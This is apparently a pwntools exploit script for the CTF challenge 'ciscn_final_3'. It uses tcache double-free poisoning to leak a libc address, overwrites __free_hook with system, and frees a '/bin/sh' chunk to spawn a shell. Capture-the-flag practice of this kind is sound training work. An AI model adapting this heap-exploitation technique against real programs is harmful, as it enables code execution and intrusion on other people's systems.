1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
p=process('./ciscn_final_3') #p=remote('node3.buuoj.cn',29871) #context.log_level="debug" elf=ELF('./ciscn_final_3') free_got=elf.got['free'] print "free_got=>",hex(free_got) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(Index,length,size): p.sendlineafter('choice > ','1') p.sendlineafter('input the index\n',str(Index)) p.sendlineafter('input the size\n',str(length)) p.sendafter('now you can write something\n',size) def free(Index): p.sendlineafter('choice > ','2') p.sendlineafter('input the index\n',str(Index)) add(0,0x78,'\x00'*0x78)
add(1,0x78,p64(0x78)) p.recvuntil('gift :0x') addr=int(p.recv(12),16) add(2,0x78,'b'*0x78) add(3,0x78,'x') add(4,0x78,'\x33' * 0x78) add(5,0x78,'\x44' * 0x78) add(6,0x78,'\x55' * 0x78) add(7,0x78,'\x66' * 0x78) add(8,0x78,'\x77' * 0x78) add(9,0x78,'/bin/sh\x00') add(10,0x78,'aa') add(11,0x78,'aa') free(0) free(0)
print "addr",hex(addr) add(12,0x78,p64(addr-0x10)) add(13,0x78,p64(addr-0x10)) add(14,0x78,p64(0)+p64(0x481)) p.recvuntil('gift :0x') addr2=int(p.recv(12),16) print "addr2=>",hex(addr2) free(1) add(15,0x68,'aa') free(15) free(15) gdb.attach(p) add(16,0x68,p64(addr2+0x80)) add(17,0x68,p64(addr2+0x80)) add(18,0x68,'\x00') add(19,0x68,'\x00') p.recvuntil('gift :0x') addr3=int(p.recv(12),16) libcdata_addr=addr3-0x3EBCA0 system_addr=libcdata_addr+libc.symbols['system'] __free_hook=libcdata_addr+libc.symbols['__free_hook'] print "__free_hook=>",hex(__free_hook) print "libcdata_addr=>",hex(libcdata_addr) print "addr3=>",hex(addr3) add(20,0x38,p64(0xdeadbeef)) free(20) free(20) add(21,0x38,p64(__free_hook)) add(22,0x38,p64(__free_hook)) add(23,0x38,p64(system_addr)) free(9)
gdb.attach(p)
p.interactive()
|